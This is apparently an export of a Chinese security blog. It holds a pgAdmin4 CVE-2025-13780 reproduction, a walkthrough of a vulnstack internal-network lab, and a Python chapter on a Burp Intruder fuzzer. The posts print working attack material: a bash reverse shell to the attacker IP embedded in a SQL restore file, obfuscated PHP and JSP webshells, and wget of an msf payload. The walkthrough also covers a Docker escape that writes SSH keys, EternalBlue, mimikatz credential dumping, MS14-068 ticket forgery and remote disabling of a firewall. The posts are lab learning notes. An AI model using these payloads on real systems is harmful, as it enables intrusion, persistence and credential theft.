
[{"content":" 漏洞详情 # pgAdmin 是一个流行且功能丰富的开源 PostgreSQL 数据库管理和开发平台，广泛被数据库管理员和开发者用于通过 Web 界面管理 PostgreSQL 数据库。\n该漏洞存在于 pgAdmin4 的数据库恢复（Restore）工具中，该工具使用 psql 命令行程序执行用户上传的纯文本 SQL 文件。攻击者可以利用特殊字符绕过 pgAdmin4 对文件内容的安全检查，在 SQL 文件中嵌入元命令（\\!），从而通过 psql 程序在服务器上执行任意系统命令，实现远程代码执行。\n受影响版本 # pgAdmin4 \u0026lt;= 9.10\n漏洞复现 # 登录pgadmin4\n选择恢复功能\nFormat选择Plain，且选择上传文件\n构造payload保存为test.sql，其中ip为我的攻击机kali IP，同时kali监听4444端口\nSELECT 1; \\! bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.35.128/4444 0\u0026gt;\u0026amp;1\u0026#39; 上传构造好的payload（test.sql）\n开始恢复操作（开始执行恶意语句）\n成功拿到服务器shell\n","date":"2026-05-31","externalUrl":null,"permalink":"/posts/pgadmin4-cve-2025-13780%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/","section":"文章","summary":"漏洞详情 # pgAdmin 是一个流行且功能丰富的开源 PostgreSQL 数据库管理和开发平台，广泛被数据库管理员和开发者用于通过 Web 界面管理 PostgreSQL 数据库。\n该漏洞存在于 pgAdmin4 的数据库恢复（Restore）工具中，该工具使用 psql 命令行程序执行用户上传的纯文本 SQL 文件。攻击者可以利用特殊字符绕过 pgAdmin4 对文件内容的安全检查，在 SQL 文件中嵌入元命令（\\!），从而通过 psql 程序在服务器上执行任意系统命令，实现远程代码执行。\n","title":"pgAdmin4 CVE-2025-13780漏洞复现","type":"posts"},{"content":"","date":"2026-05-31","externalUrl":null,"permalink":"/","section":"Rainwo's Blog","summary":"","title":"Rainwo's Blog","type":"page"},{"content":"","date":"2026-05-31","externalUrl":null,"permalink":"/tags/sql/","section":"标签","summary":"","title":"SQL","type":"tags"},{"content":"","date":"2026-05-31","externalUrl":null,"permalink":"/tags/","section":"标签","summary":"","title":"标签","type":"tags"},{"content":"","date":"2026-05-31","externalUrl":null,"permalink":"/categories/","section":"分类","summary":"","title":"分类","type":"categories"},{"content":" 👋 关于我 # 一个安全行业的小透明，在这里记录自己的学习经历。\n📬 联系方式 # GitHub: @rainwoo Email: hiwuyu@foxmail.com 🛠️ 技术栈 # 静态网站生成器: Hugo 主题: Blowfish 配色方案: Marvel（黑客风） ","date":"2026-05-31","externalUrl":null,"permalink":"/about/","section":"Rainwo's Blog","summary":"👋 关于我 # 一个安全行业的小透明，在这里记录自己的学习经历。\n📬 联系方式 # GitHub: @rainwoo Email: hiwuyu@foxmail.com 🛠️ 技术栈 # 静态网站生成器: Hugo 主题: Blowfish 配色方案: Marvel（黑客风） ","title":"关于","type":"page"},{"content":"","date":"2026-05-31","externalUrl":null,"permalink":"/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/","section":"标签","summary":"","title":"漏洞复现","type":"tags"},{"content":"","date":"2026-05-31","externalUrl":null,"permalink":"/tags/%E6%B8%97%E9%80%8F/","section":"标签","summary":"","title":"渗透","type":"tags"},{"content":"","date":"2026-05-31","externalUrl":null,"permalink":"/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/","section":"分类","summary":"","title":"网络安全","type":"categories"},{"content":"","date":"2026-05-31","externalUrl":null,"permalink":"/posts/","section":"文章","summary":"","title":"文章","type":"posts"},{"content":"","date":"2021-04-10","externalUrl":null,"permalink":"/tags/kali/","section":"标签","summary":"","title":"Kali","type":"tags"},{"content":"","date":"2021-04-10","externalUrl":null,"permalink":"/tags/%E5%86%85%E7%BD%91/","section":"标签","summary":"","title":"内网","type":"tags"},{"content":" 内网渗透-2 # 公众号上HACK学习呀上面的一篇内网渗透文章，收益颇多，本篇文章实验部分为自己重现\n重现时遇到各式各样的奇葩问题，现均已解决\n原文链接：https://mp.weixin.qq.com/s/UIGYJvfNAty7ywg3EBjTJw\n靶场地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/\n本次靶场渗透包括反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。 知识点 # st漏洞利用 phpmyadmin getshell tomcat 漏洞利用 docker逃逸 ms14-068 ssh密钥利用 流量转发 历史命令信息泄露 域渗透 环境配置 # 共三台靶机，导入到VMware中\n导入完成后，更改相应主机的网卡配置\n模拟外网网卡配置\u0026ndash;\u0026gt;桥接模式\t网段：192.168.0.0/24\n模拟内网网卡配置\u0026ndash;\u0026gt;VMnet2（Nat模式）\t网段：192.168.183.0/24(必须相同)\n攻击机(Kali)网卡配置,IP:192.168.142.108：\nWEB服务器(Ubuntu)网卡配置:\n内网其他主机网卡配置：\n这样，我们就为这三台虚拟主机构建了一个内网，DC和域成员Windows 7位于内网，外网访问不到他们，Web服务器作为连接内网和外网的枢纽。\n我们的Web服务器为Ubuntu，且其环境都是由docker启动的，根据靶场描述，我们需要启动的环境有：\ns2-045 CVE-2017-12615(tomcat put上传) cve-2018-12613(phpmyadmin文件包含漏洞) 注：Ubuntu默认密码为Ubuntu\n首先切换为root用户，然后进入到相关目录中，用docker-compose up -d命令开启，如下图：\nubuntu@ubuntu:~$ sudo su [sudo] password for ubuntu: root@ubuntu:/home/ubuntu# cd Desktop/vulhub/struts2/s2-045/ root@ubuntu:/home/ubuntu/Desktop/vulhub/struts2/s2-045# docker-compose up -d Starting s2-045_struts2_1 ... done root@ubuntu:/home/ubuntu/Desktop/vulhub/struts2/s2-045# cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/ root@ubuntu:/home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615# docker-compose up -d Starting cve-2017-12615_tomcat_1 ... done root@ubuntu:/home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615# cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/ root@ubuntu:/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613# docker-compose up -d Starting cve-2018-12613_mysql_1 ... done Starting cve-2018-12613_web_1 ... done root@ubuntu:/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613# 可见，环境开启成功\n外网初探 # 我们已知Web服务器的公网IP为192.168.142.37（模拟），所以，我们可以先对其Web服务器进行端口扫描，如下：\nnmap -T4 -sC -sV 192.168.142.37 可知其开启了ssh、Tomcat、phpmyadmin等，其端口号由于版本如上图一目了然。我们先来测试PhpMyAdmin 4.8.1的漏洞（CVE-2018-12613），该漏洞相比大家已经很熟悉了，是phpMyAdmin 4.8.1版本的一个文件包含漏洞，通过 二次url编码 即可绕过过滤。\nPhpMyAdmin 4.8.1文件包含漏洞 # 我们访问web服务器上的phpmyadmin：\n测试CVE-2018-12613漏洞：\nhttp://192.168.142.37:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 如上图成功利用，可见确实存在该漏洞。接下来，我们可以通过开启mysql全局日志并改变写入的日志的路径来getshell，但是该方法在SET GLOBAL general_log='on'开启全局日志是收到了权限限制，所以我们可以考虑包含session文件来getshell。\n在sql执行处执行select '\u0026lt;?php phpinfo();?\u0026gt;'，并F12查看当前页面cookie中的phpmyadmin的值。\n得到此时网络cookie中的phpmyadmin值为ae01dd428f73c55c793ac43f14b6391c，则此时产生的session文件名为sess_ae01dd428f73c55c793ac43f14b6391c。构建包含Session值的URL路径，包含该session文件：\n?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_ae01dd428f73c55c793ac43f14b6391c 包含成功，显示了phpinfo页面，接下来我们要利用文件包含漏洞来getshell。在sql执行处执行一下语句来在session文件中写入免杀的webshell：\nSELECT \u0026#34;\u0026lt;?php $p = array(\u0026#39;f\u0026#39;=\u0026gt;\u0026#39;a\u0026#39;,\u0026#39;pffff\u0026#39;=\u0026gt;\u0026#39;s\u0026#39;,\u0026#39;e\u0026#39;=\u0026gt;\u0026#39;fffff\u0026#39;,\u0026#39;lfaaaa\u0026#39;=\u0026gt;\u0026#39;r\u0026#39;,\u0026#39;nnnnn\u0026#39;=\u0026gt;\u0026#39;t\u0026#39;);$a = array_keys($p);$_=$p[\u0026#39;pffff\u0026#39;].$p[\u0026#39;pffff\u0026#39;].$a[2];$_= \u0026#39;a\u0026#39;.$_.\u0026#39;rt\u0026#39;;$_(base64_decode($_REQUEST[\u0026#39;whoami\u0026#39;]));?\u0026gt;\u0026#34; 这里蚁剑链接不知道出了什么问题：\n换种方式蚁剑链接后成功：\n使用select语句构造好php文件\nSELECT \u0026#34;\u0026lt;?php fputs(fopen(\u0026#39;a.php\u0026#39;,\u0026#39;w\u0026#39;),\u0026#39;\u0026lt;?php eval($_POST[a]);?\u0026gt;\u0026#39;);?\u0026gt;\u0026#34;; 访问日志文件生成php木马\n使用蚁剑成功连接\n然而，我们虽然拿到了目标服务器的shell，但此时的shell只是目标机docker中的shell，要想实现对docker宿主机的控制，我们还要docker逃逸。\nTomcat 任意文件上传漏洞（CVE-2017-12615） # 上面我们演示了PhpMyAdmin 4.8.1文件包含漏洞拿到了目标的shell，接下来我们演示利用Tomcat 任意文件上传漏洞（CVE-2017-12615）来获取目标的控制权。（本次渗透也以该漏洞为主）\n我们在当开始的nmap端口扫描中可以发现，目标Web服务器的2002端口上运行着Tomcat，并且版本为8.5.19。我们知道Tomcat的漏洞比较出名的有CVE-2017-12615，CVE-2017-12615是Tomcat中间件的任意文件上传漏洞，但此漏洞影响范围是Apache Tomcat 7.0.0 – 7.0.79，我们靶机的Tomcat版本似乎不再影响范围之内，是实际中Tomcat 5-9均存在类似CVE-2017-12615的利用方式，同样可以类比运用，但这不归属于CVE-2017-12615漏洞。\n访问目标Web服务器的Tomcat：\n使用burpsuite抓包：\n在以上红框处做修改，将GET方法改为PUT，并上传webshell文件shell.jsp，其中内容如下：\n\u0026lt;%@ page import=\u0026#34;java.util.*,java.io.*,java.net.*\u0026#34;%\u0026gt;\r\u0026lt;%\r%\u0026gt;\r\u0026lt;HTML\u0026gt;\u0026lt;BODY\u0026gt;\r\u0026lt;FORM METHOD=\u0026#34;POST\u0026#34; NAME=\u0026#34;myform\u0026#34; ACTION=\u0026#34;\u0026#34;\u0026gt;\r\u0026lt;INPUT TYPE=\u0026#34;text\u0026#34; NAME=\u0026#34;cmd\u0026#34;\u0026gt;\r\u0026lt;INPUT TYPE=\u0026#34;submit\u0026#34; VALUE=\u0026#34;Send\u0026#34;\u0026gt;\r\u0026lt;/FORM\u0026gt;\r\u0026lt;pre\u0026gt;\r\u0026lt;%\rif (request.getParameter(\u0026#34;cmd\u0026#34;) != null) {\rout.println(\u0026#34;Command: \u0026#34; + request.getParameter(\u0026#34;cmd\u0026#34;) + \u0026#34;\\n\u0026lt;BR\u0026gt;\u0026#34;);\rProcess p = Runtime.getRuntime().exec(request.getParameter(\u0026#34;cmd\u0026#34;));\rOutputStream os = p.getOutputStream();\rInputStream in = p.getInputStream();\rDataInputStream dis = new DataInputStream(in);\rString disr = dis.readLine();\rwhile ( disr != null ) {\rout.println(disr); disr = dis.readLine(); }\r}\r%\u0026gt;\r\u0026lt;/pre\u0026gt;\r\u0026lt;/BODY\u0026gt;\u0026lt;/HTML\u0026gt; （注意：红框里的文件名处，必须为/shell.jsp/的格式，最后的/一定要带着）\n上传成功，然后访问该文件的url：\n利用msf生成后门：\n开启http服务，然后通过wget下载到服务器上：\nwget http://192.168.142.108:8000/shell.elf ls -l 查看上传的shell\n发现没有执行权，添加执行权\nkali开启监听，得到服务器meterpreter\n如上图，msf成功获得了会话。\n利用\u0026ndash;Privileged特权模式逃逸 # 特权模式于版本0.6时被引入Docker，允许容器内的root拥有外部物理机root权限，而此前容器内root用户仅拥有外部物理机普通用户权限。\n使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。\n当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令。\n我们看到靶场描述中有一个“ssh密钥利用”，猜测是利用docker的特权模式来在宿主机硬盘中写入ssh私钥，实现ssh免密登录宿主机，从而实现对目标宿主机的控制。\n首先我们现在docker中新建一个/hack目录用来挂在文件：\n然后ls /dev看到/dev目录会发现很多设备文件，\n我们可以尝试将/dev/sda1挂载到/hack目录里：\nmount /hack /dev/sda1 如上图，挂载成功了，此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的\n在docker容器里挂载一个宿主的本地目录，这样某些容器里输出的文件，就可以在本地目录中打开访问了。\n然后，在攻击机本地生成ssh秘钥：\nssh-keygen -f hack chmod 600 hack // 不要忘记对秘钥文件赋600权限，否则不能执行哦 即可在当前目录下生成一个秘钥文件\n接下来要做的就是将生成的秘钥写入到目标机中了。前面说了，将sda1挂载成功，我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的，比如我们访问/hack/home目录也就是访问宿主机的/home目录：\n看见一个Ubuntu用户的主目录，进去看看，ls -alh /hack/home/ubuntu（查看包括隐藏的文件）：\n这里我使用的是meterpreter，直接用ls就可以看到所有文件\n我们看见了一个.ssh目录，我们也就是要将ssh秘钥写入到.ssh目录里面并将文件命名为authorized_keys（目标机.ssh目录权限必须为700）。\n依次执行如下命令写入秘钥：\ncp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制 echo \u0026gt; /hack/home/ubuntu/.ssh/authorized_keys # 清空authorized_keys文件 echo \u0026#39;生成的.pub文件的内容\u0026#39; \u0026gt; /hack/home/ubuntu/.ssh/authorized_keys # 将ssh秘钥写入authorized_keys文件 写入成功。\n此时，攻击者就可以利用自己的私钥进行免密登陆目标宿主机了：\nssh -i hack ubuntu@192.168.142.37 成功拿到目标机（docker宿主机）Web服务器的shell。\n查看一下网络配置：ifconfig\n可知，目标Web服务器除了一个公网IP（192.168.142.37）外，还有一个内网IP（192.168.183.135）。然后我们在目标及上用wget下载我们之前生成的msf马，并执行，反弹一个meterpreter过来，\n接下来我们要做的就是设置代理通向内网、扫描内网主机、添加路由继续渗透等等。\n攻入内网 # 使用强大且稳定的代理工具chisel（这很重要，使用ew会出现session莫名奇妙die的情况\n项目地址：https://github.com/jpillora/chisel\n在目标web服务器上传chisel，然后执行：\n./chisel server -p 2333 --socks5 攻击机执行：\n./chisel client 192.168.142.37:2333 socks 如上图，成功在攻击机上面的1080端口开启了一个socks5监听，我们现在在/etc/proxychains4.conf文件中添加代理信息，在最后一行添加即可\n此时，我们攻击机上的应用程序就可以通过proxychains代理进目标内网了。探测目标内网的主机存活：\nproxychains4 nmap -sT -Pn 192.168.183.1/24 \u0026gt; nmap.txt 这里我为了缩短扫描时长，增加了-p445参数，只扫描445端口开放状态：\n查看nmap文件，搜索关键字open，得到内网两个主机的ip：\n既然是攻击内网，我们当然少不了试试ms17_010了，我们先在msf上添加一个通往内网的路由：\nrun autoroute -s 192.168.183.0/24 run autoroute -p 添加成功，开始扫描目标内网中存在ms17_010永恒之蓝漏洞的主机：\n发现两个主机都存在漏洞，先打那个Windows 7（192.168.183.129）：\nsetg Proxies socks5:127.0.0.1:1080 // 设置代理，不设置代理ms17_010很难打通 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.183.131 set lport 4444 set AutoRunScript post/windows/manage/migrate // 自动迁移进程 run 注意要setg Proxies socks5:192.168.0.105:1080设置代理，不设置代理ms17_010很难打通，不知道为什么，也是刚学到的。\n这里我自己实验时发现使用meterpreter加上路由之后反而打不通，我这里使用run autoroute -d -s 192.168.183.0/24删掉了添加的路由，然后仅使用全局代理搭进去了。\n为了方便接下来的信息收集，我们需要把当前权限降到普通域用户，因为不是域用户的话是没有权限执行域命令的。\ngetuid #查看当前token use incognito #加载incognito list_tokens -u #列出AccessToken impersonate_token \u0026#34;DEMO\\douser\u0026#34; #模拟DEMO\\douser用户 rev2self #返回到之前的AccessToken权限 接下来要做的就是信息收集\nipconfig /all 查看本机ip，所在域 route print 打印路由信息 net view 查看局域网内其他主机名 arp -a 查看arp缓存 whoami net start 查看开启了哪些服务 net share 查看开启了哪些共享 net share ipc$ 开启ipc共享 net share c$ 开启c盘共享 net use \\\\192.168.xx.xx\\ipc$ \u0026#34;\u0026#34; /user:\u0026#34;\u0026#34; 与192.168.xx.xx建立空连接 net use \\\\192.168.xx.xx\\c$ \u0026#34;密码\u0026#34; /user:\u0026#34;用户名\u0026#34; 建立c盘共享 dir \\\\192.168.xx.xx\\c$\\user 查看192.168.xx.xx c盘user目录下的文件 net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user 查看本机用户列表 net user /domain 查看域用户 net localgroup administrators 查看本地管理员组（通常会有域用户） net view /domain 查看有几个域 net user 用户名 /domain 获取指定域用户的信息 net group /domain 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作） net group 组名 /domain 查看域中某工作组 net group \u0026#34;domain admins\u0026#34; /domain 查看域管理员的名字 net group \u0026#34;domain computers\u0026#34; /domain 查看域中的其他主机名 net group \u0026#34;doamin controllers\u0026#34; /domain 查看域控制器（可能有多台） 经过一波收集我们得知，目标Windows 7在DEMO.com域中，域控为WIN-ENS2VR5TR3N$，域管理员为Administrator，我们ping一下主域，查看域控的IP：\n可知域控IP为192.168.183.130。\n在目标机上传mimikatz，抓一下Windows 7的密码\n此处有个坑，我用ms17_010获得的system权限在运行mimikatz的时候回报错： 反复折腾了一番最后模拟了一个目标机上的system的令牌竟然成功了：（不可思议，有大佬知道为什么的话请告诉我）\n得到douser用户的明文密码为Dotest123。接下来我们就可以继续横向移动攻击域控了。\n攻入域控 # 尝试使用ms17_010攻击域控，发现失败了，既然我们得到了域用户douser的密码，我们为何不试一下PTT（ms14-068）呢？下面演示ms14-068的利用过程：\n在目标Windows 7上传ms14-068.exe，然后执行如下生成TGT票据：\nms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 // ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码 注：以下操作须是本地管理员用户\n如上图成功生成票据文件“TGT_douser@DEMO.com.ccache”。然后利用mimikatz注入票据：\nmimikatz # kerberos::purge //清空当前机器中所有凭证，如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc \u0026lt;生成的票据文件\u0026gt; //将票据注入到内存中 使用mimikatz将票据注入到当前内存中，伪造凭证，如果成功则拥有域管理权限，可任意访问域中所有机器\n如上图，票据注入成功。\n查看注入是否成功klist：\n尝试net use登录域控：\nnet use \\\\WIN-ENS2VR5TR3N 如上图，成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个正向的msf马，将生产的msf上传到Windows 7上，然后用smb文件共享将msf马copy到域控的C盘：\nmsfvenom -p windows/meterpreter/bind_tcp LPORT=4445 -f exe -o bind.exe 将生产的msf上传到Windows 7上，然后用smb文件共享将msf马copy到域控的C盘：\ncopy c:\\users\\douser\\bind.exe \\\\WIN-ENS2VR5TR3N\\c$ 我们用sc服务来远程执行。\n关闭防火墙：\nsc \\\\WIN-ENS2VR5TR3N create unablefirewall binpath= \u0026#34;netsh advfirewall set allprofiles state off\u0026#34; sc \\\\WIN-ENS2VR5TR3N start unablefirewall 创建服务执行msf马（msf正在监听）：\nsc \\\\WIN-ENS2VR5TR3N create bindshell binpath= \u0026#34;c:\\bind.exe\u0026#34; sc \\\\WIN-ENS2VR5TR3N start bindshell 寻找敏感文件 # 拿下域控后，我们就要寻找开头说的那个域控中的重要文件了。\n我们开启域控的远程桌面：\nrun getgui -e 或者：\nrun post/windows/manage/enable_rdp 登录远程桌面：\nproxychains4 rdesktop 192.168.183.130 上传everything： 打开Everything，开启HTTP服务，设置端口为2333：\n开启成功，然后攻击者浏览器设置代理：127.0.0.1:1080（前面不是开启了chisel代理了吗）\n大功告成！\n","date":"2021-04-10","externalUrl":null,"permalink":"/posts/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-2/","section":"文章","summary":"内网渗透-2 # 公众号上HACK学习呀上面的一篇内网渗透文章，收益颇多，本篇文章实验部分为自己重现\n重现时遇到各式各样的奇葩问题，现均已解决\n原文链接：https://mp.weixin.qq.com/s/UIGYJvfNAty7ywg3EBjTJw\n靶场地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/\n本次靶场渗透包括反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。 知识点 # st漏洞利用 phpmyadmin getshell tomcat 漏洞利用 docker逃逸 ms14-068 ssh密钥利用 流量转发 历史命令信息泄露 域渗透 环境配置 # 共三台靶机，导入到VMware中\n","title":"内网渗透靶场实践","type":"posts"},{"content":"","date":"2021-04-10","externalUrl":null,"permalink":"/tags/%E6%8F%90%E6%9D%83/","section":"标签","summary":"","title":"提权","type":"tags"},{"content":"","date":"2020-12-27","externalUrl":null,"permalink":"/series/python%E9%BB%91%E5%B8%BD%E5%AD%90/","section":"系列","summary":"","title":"《Python黑帽子》","type":"series"},{"content":" 第六章 扩展Burp代理 # 这一章的学习，个人感觉比前面几章稍微有难度一些，虽然过程挺艰苦的，但还算是勉强做出来了吧：）\n这一章节的内容，因为jython对python3的兼容性不乐观，所以我们将使用python2编写代码。\nJython？ # Jython是一种完整的语言，而不是一个Java翻译器或仅仅是一个Python编译器，它是一个Python语言在Java中的完全实现。Jython也有很多从CPython中继承的模块库。最有趣的事情是Jython不像CPython或其他任何高级语言，它提供了对其实现语言的一切存取。所以Jython不仅给你提供了Python的库，同时也提供了所有的Java类。这使其有一个巨大的资源库。\n我个人理解就是python+java=jython\n因为burp拓展需要jython环境，所以这里我们需要安装jython。\nBurp配置： # 这里安装的步骤直接略过，百度有很多教程可以自行搜索。\n启动burpsuite后，我们将设置jython的路径位置\n设置完成后基本环境已经搭建好了。\nBurp模糊测试： # burpsuite软件中有许多API文档，我们可以通过查看文档来增加我们对burpsuite的接口以及框架的了解。（虽说是了解，但都是英文我啥也看不懂啊:(\n这里通过文档我们可以知道我们脚本中需要用到的类\nIBurpExtender：在编写Burp拓展时必须要使用的类，该类的作用是在Burp上正确注册，注册方法是使用registerExtenderCallbacks()方法，传递callbacks参数。\npackage burp; /* * @(#)IBurpExtender.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * All extensions must implement this interface. * * Implementations must be called BurpExtender, in the package burp, must be * declared public, and must provide a default (public, no-argument) * constructor. */ public interface IBurpExtender { /** * This method is invoked when the extension is loaded. It registers an * instance of the * \u0026lt;code\u0026gt;IBurpExtenderCallbacks\u0026lt;/code\u0026gt; interface, providing methods that may * be invoked by the extension to perform various actions. * * @param callbacks An * \u0026lt;code\u0026gt;IBurpExtenderCallbacks\u0026lt;/code\u0026gt; object. */ void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks); } IIntruderPayloadGeneratorFactory：拓展Burp中intruder模块payload。使用时要在IBurpExtender类中正确注册后，将对象使用registerIntruderPayloadGeneratorFactory()方法在Intruder模块中正确注册。使用getGeneratorName()方法定义拓展工具名字，此方法需要成功返回一个字符串。使用createNewInstance()方法接收攻击相关的参数attack，并要返回一个IIntruderPayloadGenerator类型的对象。\npackage burp; /* * @(#)IIntruderPayloadGeneratorFactory.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * \u0026lt;code\u0026gt;IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()\u0026lt;/code\u0026gt; * to register a factory for custom Intruder payloads. */ public interface IIntruderPayloadGeneratorFactory { /** * This method is used by Burp to obtain the name of the payload generator. * This will be displayed as an option within the Intruder UI when the user * selects to use extension-generated payloads. * * @return The name of the payload generator. */ String getGeneratorName(); /** * This method is used by Burp when the user starts an Intruder attack that * uses this payload generator. * * @param attack An * \u0026lt;code\u0026gt;IIntruderAttack\u0026lt;/code\u0026gt; object that can be queried to obtain details * about the attack in which the payload generator will be used. * @return A new instance of * \u0026lt;code\u0026gt;IIntruderPayloadGenerator\u0026lt;/code\u0026gt; that will be used to generate * payloads for the attack. */ IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack); } IIntruderPayloadGenerator：此模块用来配置payload功能。hasMorePayloads()方法来判定是否将修改后的请求发送会Burp Intruder，返回True则继续，返回False则停止。getNextPayload()方法获得下一个payload，使用时要将一个数组传递进去，该方法需要返回一个payload。reset()方法重置有效载荷生成器的状态。\npackage burp; /* * @(#)IIntruderPayloadGenerator.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used for custom Intruder payload generators. Extensions * that have registered an * \u0026lt;code\u0026gt;IIntruderPayloadGeneratorFactory\u0026lt;/code\u0026gt; must return a new instance of * this interface when required as part of a new Intruder attack. */ public interface IIntruderPayloadGenerator { /** * This method is used by Burp to determine whether the payload generator is * able to provide any further payloads. * * @return Extensions should return * \u0026lt;code\u0026gt;false\u0026lt;/code\u0026gt; when all the available payloads have been used up, * otherwise * \u0026lt;code\u0026gt;true\u0026lt;/code\u0026gt;. */ boolean hasMorePayloads(); /** * This method is used by Burp to obtain the value of the next payload. * * @param baseValue The base value of the current payload position. This * value may be * \u0026lt;code\u0026gt;null\u0026lt;/code\u0026gt; if the concept of a base value is not applicable (e.g. * in a battering ram attack). * @return The next payload to use in the attack. */ byte[] getNextPayload(byte[] baseValue); /** * This method is used by Burp to reset the state of the payload generator * so that the next call to * \u0026lt;code\u0026gt;getNextPayload()\u0026lt;/code\u0026gt; returns the first payload again. This * method will be invoked when an attack uses the same payload generator for * more than one payload position, for example in a sniper attack. */ void reset(); } 在了解完上面这三个类后，我们可以开始编写我们的代码了(bhp_fuzzer.py)，这里需要注意的是，千万不要在脚本里面写入中文注释，否则在导入拓展时会报出编码错误！！！\nfrom burp import IBurpExtender from burp import IIntruderPayloadGeneratorFactory from burp import IIntruderPayloadGenerator from java.util import List, ArrayList import random # 定义BurpExtender类，并继承IBurpextender类与IIntruderPayloadGeneratorFactory类 class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): # 传入callbacks参数在Burp中正确注册 def registerExtenderCallbacks(self, callbacks): # 将传递过来的callbacks赋值到类中 self._callbacks = callbacks # 将帮助信息传入到类中 self._helpers = callbacks.getHelpers() # 将拓展在Burp Intruder模块中注册 callbacks.registerIntruderPayloadGeneratorFactory(self) return # 使用return返回拓展名，并设置 def getGeneratorName(self): return \u0026#34;BHP Payload Generator\u0026#34; # 接受attack参数，并返回IIntruderPayloadGenerator类。 def createNewInstance(self, attack): return BHPFuzzer(self, attack) # 定义BHPfuzzer类，并继承IIntruderPayloadGenerator类 class BHPFuzzer(IIntruderPayloadGenerator): # 定义初始方法 def __init__(self, extender, attack): self._extender = extender self._helpers = extender._helpers self._attack = attack print(\u0026#34;BHP Fuzzer initialized\u0026#34;) # 定义payload上限 self.max_payloads = 1000 # 记录payload数量 self.num_iterations = 0 return # 定义停止攻击条件 def hasMorePayloads(self): print \u0026#34;hasMorePayload called.\u0026#34; # 当记录的payload达到上限时停止 if self.num_iterations == self.max_payloads: print(\u0026#34;No more payloads.\u0026#34;) return False else: print(\u0026#34;More payloads. Continuing.\u0026#34;) return True # 返回payload def getNextPayload(self, current_payload): # convert into a string # 转换成字符串 payload = \u0026#34;\u0026#34;.join(chr(x) for x in current_payload) # call our simple mutator to fuzz the POST # 调用简单的变形器对POST请求进行模糊测试 payload = self.mutate_payload(payload) # increase the number of fuzzing attempts # 记录payload次数 self.num_iterations += 1 return payload # 重置函数 def reset(self): # 清零 self.num_iterations = 0 return def mutate_payload(self, original_payload): # pick a simple mutator or even call an external script # like Radamsa does # 仅生成随机数，或者调用一个外部脚本 picker = random.randint(1, 3) # select a random offset in the payload to mutate # 在载荷中选取一个随机的偏移变量去变形 offset = random.randint(0, len(original_payload) - 1) payload = original_payload[:offset] # random offset insert a SQL injection attempt # 在随机便宜位置插入SQL注入尝试 if picker == 1: payload += \u0026#34;\u0026#39;\u0026#34; # jam an XSS attempt in # 插入XSS尝试 if picker == 2: payload += \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;BHP!\u0026#39;);\u0026lt;/script\u0026gt;\u0026#34; # repeat a chunk of the original payload a random number # 随机重复原始载荷 if picker == 3: chunk_length = random.randint(len(payload[offset:]), len(payload) - 1) repeater = random.randint(1, 10) for i in range(repeater): payload += original_payload[offset:offset+chunk_length] # add the remaining bits of the payload # 添加载荷中剩余的字节 payload += original_payload[offset:] return payload 程序编写完成后，我们将脚本导入Burp中。\n导入成功\n导入成功后，我们可以尝试运用：\n首先抓取http://testphp.vulnweb.com请求头，在输入框里输入任意字符，然后点击go使用brup抓取请求头\n使用ctrl+i将请求头发送到intruder\n点击payloads设置我们刚刚加入的拓展\n开始攻击\n在Burp中利用Bing服务： # 略，由于本人对bing的API key实在时注册不上去，所以这一小节选择跳过，见谅。\n利用网站内容生成密码字典： # 